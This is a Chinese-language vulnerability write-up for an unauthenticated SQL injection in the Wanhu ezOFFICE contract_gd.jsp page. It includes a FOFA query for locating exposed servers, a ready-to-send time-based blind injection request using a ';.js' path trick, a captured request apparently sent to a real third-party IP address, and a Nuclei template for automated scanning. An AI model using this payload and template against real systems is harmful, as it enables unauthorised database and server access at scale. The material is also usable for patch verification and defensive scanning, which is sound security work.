

W1-1万户-ezOffice-SQL

漏洞描述：

万户 ezOFFICE contract_gd.jsp 存在SQL注入漏洞，未授权的攻击者可利用此漏洞获取数据库权限，深入利用可获取服务器权限。

影响版本：

至2024年3月30日

网站图片：



网络测绘：

fofa语法：

app="万户ezOFFICE协同管理平台"

漏洞复现：

payload:

```
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
```

效果图：

Reque: < > 数据包扫描 美化 热加载 构造请求

1 GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1

2 Host: 58.221.193.234:7008

3 User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36

4 Accept-Encoding: gzip, deflate

5 Accept: */*

6 Connection: keep-alive

7

8

Responses 0bytes / 5070ms 美化 详情

1 HTTP/1.1 404 Not Found

2 Server: Apache-Coyote/1.1

3 Date: Sat, 30 Mar 2024 07:03:21 GMT

4

5

Yaml模板

```
id: W1-1WanHu-SQL

info:
  name: W1-1WanHu-SQL
  author: Kpanda
  severity: critical
  description: ezOFFICE contract_gd.jsp 存在SQL注入漏洞
  reference:
    - https://blog.csdn.net/qq_41904294/article/details/136882701?spm=1001.2014.3001.5502
  tags: WanHu,SQL,eZOffice

http:
  - raw:
      - |
        GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
        Host: {{Hostname}}
        User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
        Accept-Encoding: gzip, deflate
        Accept: */*
        Connection: keep-alive

  matchers:
    - type: word
      part: header
      words:
        - '200'
    - type: dsl
      dsl:
        - 'duration>=5'
```